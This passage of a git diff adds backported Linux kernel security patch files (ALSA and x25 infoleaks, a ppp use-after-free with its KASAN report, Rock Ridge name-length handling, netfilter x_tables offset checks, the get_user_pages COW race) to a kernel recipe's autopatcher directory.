* ++ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ++ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ++ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND ++ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS ++ * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ++ * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ++ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ++ * SOFTWARE. ++ */ ++ ++#if !defined(_RDMA_IB_H) ++#define _RDMA_IB_H ++ ++#include ++#include ++ ++/* ++ * The IB interfaces that use write() as bi-directional ioctl() are ++ * fundamentally unsafe, since there are lots of ways to trigger "write()" ++ * calls from various contexts with elevated privileges. That includes the ++ * traditional suid executable error message writes, but also various kernel ++ * interfaces that can write to file descriptors. ++ * ++ * This function provides protection for the legacy API by restricting the ++ * calling context. ++ */ ++static inline bool ib_safe_file_access(struct file *filp) ++{ ++ return filp->f_cred == current_cred() && segment_eq(get_fs(), USER_DS); ++} ++ ++#endif /* _RDMA_IB_H */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0257-cec8f96e49d9-ALSA timer Fix leak in SNDRVTIMERIOCTLPARAMS.patch b/recipes-kernel/linux/linux-bass/autopatcher/0257-cec8f96e49d9-ALSA timer Fix leak in SNDRVTIMERIOCTLPARAMS.patch new file mode 100644 index 0000000..06c8933 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0257-cec8f96e49d9-ALSA timer Fix leak in SNDRVTIMERIOCTLPARAMS.patch @@ -0,0 +1,33 @@ +From cec8f96e49d9be372fdb0c3836dcf31ec71e457e Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:44:07 -0400 +Subject: ALSA: timer: Fix leak in SNDRV_TIMER_IOCTL_PARAMS +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The stack object “tread” has a total size of 32 bytes. Its field +“event” and “val” both contain 4 bytes padding. These 8 bytes +padding bytes are sent to user without being initialized. + +Signed-off-by: Kangjie Lu +Signed-off-by: Takashi Iwai +--- + sound/core/timer.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 0cfc028c1193..306a93dea20a 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1737,6 +1737,7 @@ static int snd_timer_user_params(struct file *file, + if (tu->timeri->flags & SNDRV_TIMER_IFLG_EARLY_EVENT) { + if (tu->tread) { + struct snd_timer_tread tread; ++ memset(&tread, 0, sizeof(tread)); + tread.event = SNDRV_TIMER_EVENT_EARLY; + tread.tstamp.tv_sec = 0; + tread.tstamp.tv_nsec = 0; +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0258-9bad15dba640-ALSA timer Fix leak in events via sndtimeruserccallback.patch b/recipes-kernel/linux/linux-bass/autopatcher/0258-9bad15dba640-ALSA timer Fix leak in events via sndtimeruserccallback.patch new file mode 100644 index 0000000..44937f0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0258-9bad15dba640-ALSA timer Fix leak in events via sndtimeruserccallback.patch @@ -0,0 +1,36 @@ +From 9bad15dba640ca854d97aec78e050f70a33d0508 Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:44:20 -0400 +Subject: ALSA: timer: Fix leak in events via snd_timer_user_ccallback +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 9a47e9cff994f37f7f0dbd9ae23740d0f64f9fe6 upstream. + +The stack object “r1” has a total size of 32 bytes. Its field +“event” and “val” both contain 4 bytes padding. These 8 bytes +padding bytes are sent to user without being initialized. + +Signed-off-by: Kangjie Lu +Signed-off-by: Takashi Iwai +Signed-off-by: Willy Tarreau +--- + sound/core/timer.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 54ff806126a3..7ba0709726b5 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1208,6 +1208,7 @@ static void snd_timer_user_ccallback(struct snd_timer_instance *timeri, + tu->tstamp = *tstamp; + if ((tu->filter & (1 << event)) == 0 || !tu->tread) + return; ++ memset(&r1, 0, sizeof(r1)); + r1.event = event; + r1.tstamp = *tstamp; + r1.val = resolution; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0259-ed82c388d45d-ALSA timer Fix leak in events via sndtimerusertinterrupt.patch b/recipes-kernel/linux/linux-bass/autopatcher/0259-ed82c388d45d-ALSA timer Fix leak in events via sndtimerusertinterrupt.patch new file mode 100644 index 0000000..2e75015 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0259-ed82c388d45d-ALSA timer Fix leak in events via sndtimerusertinterrupt.patch @@ -0,0 +1,36 @@ +From ed82c388d45df9dbc456864ff31da433c4566316 Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:44:32 -0400 +Subject: ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit e4ec8cc8039a7063e24204299b462bd1383184a5 upstream. + +The stack object “r1” has a total size of 32 bytes. Its field +“event” and “val” both contain 4 bytes padding. These 8 bytes +padding bytes are sent to user without being initialized. + +Signed-off-by: Kangjie Lu +Signed-off-by: Takashi Iwai +Signed-off-by: Willy Tarreau +--- + sound/core/timer.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 7ba0709726b5..3476895ee1fb 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1243,6 +1243,7 @@ static void snd_timer_user_tinterrupt(struct snd_timer_instance *timeri, + } + if ((tu->filter & (1 << SNDRV_TIMER_EVENT_RESOLUTION)) && + tu->last_resolution != resolution) { ++ memset(&r1, 0, sizeof(r1)); + r1.event = SNDRV_TIMER_EVENT_RESOLUTION; + r1.tstamp = tstamp; + r1.val = resolution; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0260-ee78aa28de72-net fix a kernel infoleak in x25 module.patch b/recipes-kernel/linux/linux-bass/autopatcher/0260-ee78aa28de72-net fix a kernel infoleak in x25 module.patch new file mode 100644 index 0000000..459f815 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0260-ee78aa28de72-net fix a kernel infoleak in x25 module.patch @@ -0,0 +1,35 @@ +From ee78aa28de7252c93cb35b62517fc71502891b33 Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Sun, 8 May 2016 12:10:14 -0400 +Subject: net: fix a kernel infoleak in x25 module + +commit 79e48650320e6fba48369fccf13fd045315b19b8 upstream. + +Stack object "dte_facilities" is allocated in x25_rx_call_request(), +which is supposed to be initialized in x25_negotiate_facilities. +However, 5 fields (8 bytes in total) are not initialized. This +object is then copied to userland via copy_to_user, thus infoleak +occurs. + +Signed-off-by: Kangjie Lu +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/x25/x25_facilities.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/x25/x25_facilities.c b/net/x25/x25_facilities.c +index 66c638730c7a..de7552d8ee20 100644 +--- a/net/x25/x25_facilities.c ++++ b/net/x25/x25_facilities.c +@@ -271,6 +271,7 @@ int x25_negotiate_facilities(struct sk_buff *skb, struct sock *sk, + + memset(&theirs, 0, sizeof(theirs)); + memcpy(new, ours, sizeof(*new)); ++ memset(dte, 0, sizeof(*dte)); + + len = x25_parse_facilities(skb, &theirs, dte, &x25->vc_facil_mask); + if (len < 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0261-c57d15c3c4ec-ppp take reference on channels netns.patch b/recipes-kernel/linux/linux-bass/autopatcher/0261-c57d15c3c4ec-ppp take reference on channels netns.patch new file mode 100644 index 0000000..51e0e92 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0261-c57d15c3c4ec-ppp take reference on channels netns.patch @@ -0,0 +1,152 @@ +From c57d15c3c4ecee01fb151a717a0f4b280e73ae24 Mon Sep 17 00:00:00 2001 +From: Guillaume Nault +Date: Wed, 23 Mar 2016 16:38:55 +0100 +Subject: ppp: take reference on channels netns + +commit 1f461dcdd296eecedaffffc6bae2bfa90bd7eb89 upstream. + +Let channels hold a reference on their network namespace. +Some channel types, like ppp_async and ppp_synctty, can have their +userspace controller running in a different namespace. Therefore they +can't rely on them to preclude their netns from being removed from +under them. + +================================================================== +BUG: KASAN: use-after-free in ppp_unregister_channel+0x372/0x3a0 at +addr ffff880064e217e0 +Read of size 8 by task syz-executor/11581 +============================================================================= +BUG net_namespace (Not tainted): kasan: bad access detected +----------------------------------------------------------------------------- + +Disabling lock debugging due to kernel taint +INFO: Allocated in copy_net_ns+0x6b/0x1a0 age=92569 cpu=3 pid=6906 +[< none >] ___slab_alloc+0x4c7/0x500 kernel/mm/slub.c:2440 +[< none >] __slab_alloc+0x4c/0x90 kernel/mm/slub.c:2469 +[< inline >] slab_alloc_node kernel/mm/slub.c:2532 +[< inline >] slab_alloc kernel/mm/slub.c:2574 +[< none >] kmem_cache_alloc+0x23a/0x2b0 kernel/mm/slub.c:2579 +[< inline >] kmem_cache_zalloc kernel/include/linux/slab.h:597 +[< inline >] net_alloc kernel/net/core/net_namespace.c:325 +[< none >] copy_net_ns+0x6b/0x1a0 kernel/net/core/net_namespace.c:360 +[< none >] create_new_namespaces+0x2f6/0x610 kernel/kernel/nsproxy.c:95 +[< none >] copy_namespaces+0x297/0x320 kernel/kernel/nsproxy.c:150 +[< none >] copy_process.part.35+0x1bf4/0x5760 kernel/kernel/fork.c:1451 +[< inline >] copy_process kernel/kernel/fork.c:1274 +[< none >] _do_fork+0x1bc/0xcb0 kernel/kernel/fork.c:1723 +[< inline >] SYSC_clone kernel/kernel/fork.c:1832 +[< none >] SyS_clone+0x37/0x50 kernel/kernel/fork.c:1826 +[< none >] entry_SYSCALL_64_fastpath+0x16/0x7a kernel/arch/x86/entry/entry_64.S:185 + +INFO: Freed in net_drop_ns+0x67/0x80 age=575 cpu=2 pid=2631 +[< none >] __slab_free+0x1fc/0x320 kernel/mm/slub.c:2650 +[< inline >] slab_free kernel/mm/slub.c:2805 +[< none >] kmem_cache_free+0x2a0/0x330 kernel/mm/slub.c:2814 +[< inline >] net_free kernel/net/core/net_namespace.c:341 +[< none >] net_drop_ns+0x67/0x80 kernel/net/core/net_namespace.c:348 +[< none >] cleanup_net+0x4e5/0x600 kernel/net/core/net_namespace.c:448 +[< none >] process_one_work+0x794/0x1440 kernel/kernel/workqueue.c:2036 +[< none >] worker_thread+0xdb/0xfc0 kernel/kernel/workqueue.c:2170 +[< none >] kthread+0x23f/0x2d0 kernel/drivers/block/aoe/aoecmd.c:1303 +[< none >] ret_from_fork+0x3f/0x70 kernel/arch/x86/entry/entry_64.S:468 +INFO: Slab 0xffffea0001938800 objects=3 used=0 fp=0xffff880064e20000 +flags=0x5fffc0000004080 +INFO: Object 0xffff880064e20000 @offset=0 fp=0xffff880064e24200 + +CPU: 1 PID: 11581 Comm: syz-executor Tainted: G B 4.4.0+ +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS +rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 + 00000000ffffffff ffff8800662c7790 ffffffff8292049d ffff88003e36a300 + ffff880064e20000 ffff880064e20000 ffff8800662c77c0 ffffffff816f2054 + ffff88003e36a300 ffffea0001938800 ffff880064e20000 0000000000000000 +Call Trace: + [< inline >] __dump_stack kernel/lib/dump_stack.c:15 + [] dump_stack+0x6f/0xa2 kernel/lib/dump_stack.c:50 + [] print_trailer+0xf4/0x150 kernel/mm/slub.c:654 + [] object_err+0x2f/0x40 kernel/mm/slub.c:661 + [< inline >] print_address_description kernel/mm/kasan/report.c:138 + [] kasan_report_error+0x215/0x530 kernel/mm/kasan/report.c:236 + [< inline >] kasan_report kernel/mm/kasan/report.c:259 + [] __asan_report_load8_noabort+0x3e/0x40 kernel/mm/kasan/report.c:280 + [< inline >] ? ppp_pernet kernel/include/linux/compiler.h:218 + [] ? ppp_unregister_channel+0x372/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392 + [< inline >] ppp_pernet kernel/include/linux/compiler.h:218 + [] ppp_unregister_channel+0x372/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392 + [< inline >] ? ppp_pernet kernel/drivers/net/ppp/ppp_generic.c:293 + [] ? ppp_unregister_channel+0xe6/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392 + [] ppp_asynctty_close+0xa3/0x130 kernel/drivers/net/ppp/ppp_async.c:241 + [] ? async_lcp_peek+0x5b0/0x5b0 kernel/drivers/net/ppp/ppp_async.c:1000 + [] tty_ldisc_close.isra.1+0x99/0xe0 kernel/drivers/tty/tty_ldisc.c:478 + [] tty_ldisc_kill+0x40/0x170 kernel/drivers/tty/tty_ldisc.c:744 + [] tty_ldisc_release+0x1b3/0x260 kernel/drivers/tty/tty_ldisc.c:772 + [] tty_release+0xac1/0x13e0 kernel/drivers/tty/tty_io.c:1901 + [] ? release_tty+0x320/0x320 kernel/drivers/tty/tty_io.c:1688 + [] __fput+0x236/0x780 kernel/fs/file_table.c:208 + [] ____fput+0x15/0x20 kernel/fs/file_table.c:244 + [] task_work_run+0x16b/0x200 kernel/kernel/task_work.c:115 + [< inline >] exit_task_work kernel/include/linux/task_work.h:21 + [] do_exit+0x8b5/0x2c60 kernel/kernel/exit.c:750 + [] ? debug_check_no_locks_freed+0x290/0x290 kernel/kernel/locking/lockdep.c:4123 + [] ? mm_update_next_owner+0x6f0/0x6f0 kernel/kernel/exit.c:357 + [] ? __dequeue_signal+0x136/0x470 kernel/kernel/signal.c:550 + [] ? recalc_sigpending_tsk+0x13b/0x180 kernel/kernel/signal.c:145 + [] do_group_exit+0x108/0x330 kernel/kernel/exit.c:880 + [] get_signal+0x5e4/0x14f0 kernel/kernel/signal.c:2307 + [< inline >] ? kretprobe_table_lock kernel/kernel/kprobes.c:1113 + [] ? kprobe_flush_task+0xb5/0x450 kernel/kernel/kprobes.c:1158 + [] do_signal+0x83/0x1c90 kernel/arch/x86/kernel/signal.c:712 + [] ? recycle_rp_inst+0x310/0x310 kernel/include/linux/list.h:655 + [] ? setup_sigcontext+0x780/0x780 kernel/arch/x86/kernel/signal.c:165 + [] ? finish_task_switch+0x424/0x5f0 kernel/kernel/sched/core.c:2692 + [< inline >] ? finish_lock_switch kernel/kernel/sched/sched.h:1099 + [] ? finish_task_switch+0x120/0x5f0 kernel/kernel/sched/core.c:2678 + [< inline >] ? context_switch kernel/kernel/sched/core.c:2807 + [] ? __schedule+0x919/0x1bd0 kernel/kernel/sched/core.c:3283 + [] exit_to_usermode_loop+0xf1/0x1a0 kernel/arch/x86/entry/common.c:247 + [< inline >] prepare_exit_to_usermode kernel/arch/x86/entry/common.c:282 + [] syscall_return_slowpath+0x19f/0x210 kernel/arch/x86/entry/common.c:344 + [] int_ret_from_sys_call+0x25/0x9f kernel/arch/x86/entry/entry_64.S:281 +Memory state around the buggy address: + ffff880064e21680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff880064e21700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +>ffff880064e21780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ^ + ffff880064e21800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff880064e21880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +================================================================== + +Fixes: 273ec51dd7ce ("net: ppp_generic - introduce net-namespace functionality v2") +Reported-by: Baozeng Ding +Signed-off-by: Guillaume Nault +Reviewed-by: Cyrill Gorcunov +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + drivers/net/ppp/ppp_generic.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c +index a2d7d5f066f1..14a8d2958698 100644 +--- a/drivers/net/ppp/ppp_generic.c ++++ b/drivers/net/ppp/ppp_generic.c +@@ -2220,7 +2220,7 @@ int ppp_register_net_channel(struct net *net, struct ppp_channel *chan) + + pch->ppp = NULL; + pch->chan = chan; +- pch->chan_net = net; ++ pch->chan_net = get_net(net); + chan->ppp = pch; + init_ppp_file(&pch->file, CHANNEL); + pch->file.hdrlen = chan->hdrlen; +@@ -2317,6 +2317,8 @@ ppp_unregister_channel(struct ppp_channel *chan) + spin_lock_bh(&pn->all_channels_lock); + list_del(&pch->list); + spin_unlock_bh(&pn->all_channels_lock); ++ put_net(pch->chan_net); ++ pch->chan_net = NULL; + + pch->file.dead = 1; + wake_up_interruptible(&pch->file.rwait); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0262-99d825822ead-getrockridgefilename handle malformed NM entries.patch b/recipes-kernel/linux/linux-bass/autopatcher/0262-99d825822ead-getrockridgefilename handle malformed NM entries.patch new file mode 100644 index 0000000..e0b7204 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0262-99d825822ead-getrockridgefilename handle malformed NM entries.patch @@ -0,0 +1,63 @@ +From 99d825822eade8d827a1817357cbf3f889a552d6 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Thu, 5 May 2016 16:25:35 -0400 +Subject: get_rock_ridge_filename(): handle malformed NM entries + +Payloads of NM entries are not supposed to contain NUL. When we run +into such, only the part prior to the first NUL goes into the +concatenation (i.e. the directory entry name being encoded by a bunch +of NM entries). We do stop when the amount collected so far + the +claimed amount in the current NM entry exceed 254. So far, so good, +but what we return as the total length is the sum of *claimed* +sizes, not the actual amount collected. And that can grow pretty +large - not unlimited, since you'd need to put CE entries in +between to be able to get more than the maximum that could be +contained in one isofs directory entry / continuation chunk and +we are stop once we'd encountered 32 CEs, but you can get about 8Kb +easily. And that's what will be passed to readdir callback as the +name length. 8Kb __copy_to_user() from a buffer allocated by +__get_free_page() + +Cc: stable@vger.kernel.org # 0.98pl6+ (yes, really) +Signed-off-by: Al Viro +--- + fs/isofs/rock.c | 13 ++++++++++--- + 1 file changed, 10 insertions(+), 3 deletions(-) + +diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c +index 5384ceb35b1c..98b3eb7d8eaf 100644 +--- a/fs/isofs/rock.c ++++ b/fs/isofs/rock.c +@@ -203,6 +203,8 @@ int get_rock_ridge_filename(struct iso_directory_record *de, + int retnamlen = 0; + int truncate = 0; + int ret = 0; ++ char *p; ++ int len; + + if (!ISOFS_SB(inode->i_sb)->s_rock) + return 0; +@@ -267,12 +269,17 @@ repeat: + rr->u.NM.flags); + break; + } +- if ((strlen(retname) + rr->len - 5) >= 254) { ++ len = rr->len - 5; ++ if (retnamlen + len >= 254) { + truncate = 1; + break; + } +- strncat(retname, rr->u.NM.name, rr->len - 5); +- retnamlen += rr->len - 5; ++ p = memchr(rr->u.NM.name, '\0', len); ++ if (unlikely(p)) ++ len = p - rr->u.NM.name; ++ memcpy(retname + retnamlen, rr->u.NM.name, len); ++ retnamlen += len; ++ retname[retnamlen] = '\0'; + break; + case SIG('R', 'E'): + kfree(rs.buffer); +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0263-ff9be2063c1c-netfilter xtables add and use xtcheckentryoffsets.patch b/recipes-kernel/linux/linux-bass/autopatcher/0263-ff9be2063c1c-netfilter xtables add and use xtcheckentryoffsets.patch new file mode 100644 index 0000000..a5d88f3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0263-ff9be2063c1c-netfilter xtables add and use xtcheckentryoffsets.patch @@ -0,0 +1,167 @@ +From ff9be2063c1c029e9ee4951882fb64387fa21ede Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Fri, 1 Apr 2016 14:17:23 +0200 +Subject: netfilter: x_tables: add and use xt_check_entry_offsets + +commit 7d35812c3214afa5b37a675113555259cfd67b98 upstream. + +Currently arp/ip and ip6tables each implement a short helper to check that +the target offset is large enough to hold one xt_entry_target struct and +that t->u.target_size fits within the current rule. + +Unfortunately these checks are not sufficient. + +To avoid adding new tests to all of ip/ip6/arptables move the current +checks into a helper, then extend this helper in followup patches. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Willy Tarreau +--- + include/linux/netfilter/x_tables.h | 4 ++++ + net/ipv4/netfilter/arp_tables.c | 11 +---------- + net/ipv4/netfilter/ip_tables.c | 12 +----------- + net/ipv6/netfilter/ip6_tables.c | 12 +----------- + net/netfilter/x_tables.c | 34 ++++++++++++++++++++++++++++++++++ + 5 files changed, 41 insertions(+), 32 deletions(-) + +diff --git a/include/linux/netfilter/x_tables.h b/include/linux/netfilter/x_tables.h +index dd49566315c6..6da5c8275e94 100644 +--- a/include/linux/netfilter/x_tables.h ++++ b/include/linux/netfilter/x_tables.h +@@ -239,6 +239,10 @@ extern void xt_unregister_match(struct xt_match *target); + extern int xt_register_matches(struct xt_match *match, unsigned int n); + extern void xt_unregister_matches(struct xt_match *match, unsigned int n); + ++int xt_check_entry_offsets(const void *base, ++ unsigned int target_offset, ++ unsigned int next_offset); ++ + extern int xt_check_match(struct xt_mtchk_param *, + unsigned int size, u_int8_t proto, bool inv_proto); + extern int xt_check_target(struct xt_tgchk_param *, +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 7460b7bef3ab..ac73ecbc93a6 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -471,19 +471,10 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + + static inline int check_entry(const struct arpt_entry *e) + { +- const struct xt_entry_target *t; +- + if (!arp_checkentry(&e->arp)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > e->next_offset) +- return -EINVAL; +- +- t = arpt_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static inline int check_target(struct arpt_entry *e, const char *name) +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 8fc22eed9603..5cbc01a3ac44 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -565,20 +565,10 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + static int + check_entry(const struct ipt_entry *e) + { +- const struct xt_entry_target *t; +- + if (!ip_checkentry(&e->ip)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > +- e->next_offset) +- return -EINVAL; +- +- t = ipt_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static int +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index 63f7876c4f29..84adc187e5d9 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -575,20 +575,10 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) + static int + check_entry(const struct ip6t_entry *e) + { +- const struct xt_entry_target *t; +- + if (!ip6_checkentry(&e->ipv6)) + return -EINVAL; + +- if (e->target_offset + sizeof(struct xt_entry_target) > +- e->next_offset) +- return -EINVAL; +- +- t = ip6t_get_target_c(e); +- if (e->target_offset + t->u.target_size > e->next_offset) +- return -EINVAL; +- +- return 0; ++ return xt_check_entry_offsets(e, e->target_offset, e->next_offset); + } + + static int check_match(struct xt_entry_match *m, struct xt_mtchk_param *par) +diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c +index 8b03028cca69..55b1e0ccb0e2 100644 +--- a/net/netfilter/x_tables.c ++++ b/net/netfilter/x_tables.c +@@ -560,6 +560,40 @@ int xt_compat_match_to_user(const struct xt_entry_match *m, + EXPORT_SYMBOL_GPL(xt_compat_match_to_user); + #endif /* CONFIG_COMPAT */ + ++/** ++ * xt_check_entry_offsets - validate arp/ip/ip6t_entry ++ * ++ * @base: pointer to arp/ip/ip6t_entry ++ * @target_offset: the arp/ip/ip6_t->target_offset ++ * @next_offset: the arp/ip/ip6_t->next_offset ++ * ++ * validates that target_offset and next_offset are sane. ++ * ++ * The arp/ip/ip6t_entry structure @base must have passed following tests: ++ * - it must point to a valid memory location ++ * - base to base + next_offset must be accessible, i.e. not exceed allocated ++ * length. ++ * ++ * Return: 0 on success, negative errno on failure. ++ */ ++int xt_check_entry_offsets(const void *base, ++ unsigned int target_offset, ++ unsigned int next_offset) ++{ ++ const struct xt_entry_target *t; ++ const char *e = base; ++ ++ if (target_offset + sizeof(*t) > next_offset) ++ return -EINVAL; ++ ++ t = (void *)(e + target_offset); ++ if (target_offset + t->u.target_size > next_offset) ++ return -EINVAL; ++ ++ return 0; ++} ++EXPORT_SYMBOL(xt_check_entry_offsets); ++ + int xt_check_target(struct xt_tgchk_param *par, + unsigned int size, u_int8_t proto, bool inv_proto) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0264-6b9f8b74d347-netfilter xtables assert minimum target size.patch b/recipes-kernel/linux/linux-bass/autopatcher/0264-6b9f8b74d347-netfilter xtables assert minimum target size.patch new file mode 100644 index 0000000..01da79d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0264-6b9f8b74d347-netfilter xtables assert minimum target size.patch @@ -0,0 +1,33 @@ +From 6b9f8b74d347c956239e4538b1c3427cc5ea3ede Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Fri, 1 Apr 2016 14:17:25 +0200 +Subject: netfilter: x_tables: assert minimum target size + +commit a08e4e190b866579896c09af59b3bdca821da2cd upstream. + +The target size includes the size of the xt_entry_target struct. + +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Willy Tarreau +--- + net/netfilter/x_tables.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c +index 55b1e0ccb0e2..cc34bb38c814 100644 +--- a/net/netfilter/x_tables.c ++++ b/net/netfilter/x_tables.c +@@ -587,6 +587,9 @@ int xt_check_entry_offsets(const void *base, + return -EINVAL; + + t = (void *)(e + target_offset); ++ if (t->u.target_size < sizeof(*t)) ++ return -EINVAL; ++ + if (target_offset + t->u.target_size > next_offset) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0265-9691eac5593f-mm remove gupflags FOLLWRITE games from getuserpages.patch b/recipes-kernel/linux/linux-bass/autopatcher/0265-9691eac5593f-mm remove gupflags FOLLWRITE games from getuserpages.patch new file mode 100644 index 0000000..ba472a9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0265-9691eac5593f-mm remove gupflags FOLLWRITE games from getuserpages.patch @@ -0,0 +1,99 @@ +From 9691eac5593ff1e2f82391ad327f21d90322aec1 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Thu, 13 Oct 2016 13:07:36 -0700 +Subject: mm: remove gup_flags FOLL_WRITE games from __get_user_pages() + +commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 upstream. + +This is an ancient bug that was actually attempted to be fixed once +(badly) by me eleven years ago in commit 4ceb5db9757a ("Fix +get_user_pages() race for write access") but that was then undone due to +problems on s390 by commit f33ea7f404e5 ("fix get_user_pages bug"). + +In the meantime, the s390 situation has long been fixed, and we can now +fix it by checking the pte_dirty() bit properly (and do it better). The +s390 dirty bit was implemented in abf09bed3cce ("s390/mm: implement +software dirty bits") which made it into v3.9. Earlier kernels will +have to look at the page state itself. + +Also, the VM has become more scalable, and what used a purely +theoretical race back then has become easier to trigger. + +To fix it, we introduce a new internal FOLL_COW flag to mark the "yes, +we already did a COW" rather than play racy games with FOLL_WRITE that +is very fundamental, and then use the pte dirty flag to validate that +the FOLL_COW flag is still valid. + +Reported-and-tested-by: Phil "not Paul" Oester +Acked-by: Hugh Dickins +Reviewed-by: Michal Hocko +Cc: Andy Lutomirski +Cc: Kees Cook +Cc: Oleg Nesterov +Cc: Willy Tarreau +Cc: Nick Piggin +Cc: Greg Thelen +Cc: stable@vger.kernel.org +Signed-off-by: Linus Torvalds +[wt: s/gup.c/memory.c; s/follow_page_pte/follow_page_mask; + s/faultin_page/__get_user_page] +Signed-off-by: Willy Tarreau +--- + include/linux/mm.h | 1 + + mm/memory.c | 14 ++++++++++++-- + 2 files changed, 13 insertions(+), 2 deletions(-) + +diff --git a/include/linux/mm.h b/include/linux/mm.h +index 53b0d70120a1..55590f4fe110 100644 +--- a/include/linux/mm.h ++++ b/include/linux/mm.h +@@ -1715,6 +1715,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma, + #define FOLL_HWPOISON 0x100 /* check page is hwpoisoned */ + #define FOLL_NUMA 0x200 /* force NUMA hinting page fault */ + #define FOLL_MIGRATION 0x400 /* wait for page to replace migration entry */ ++#define 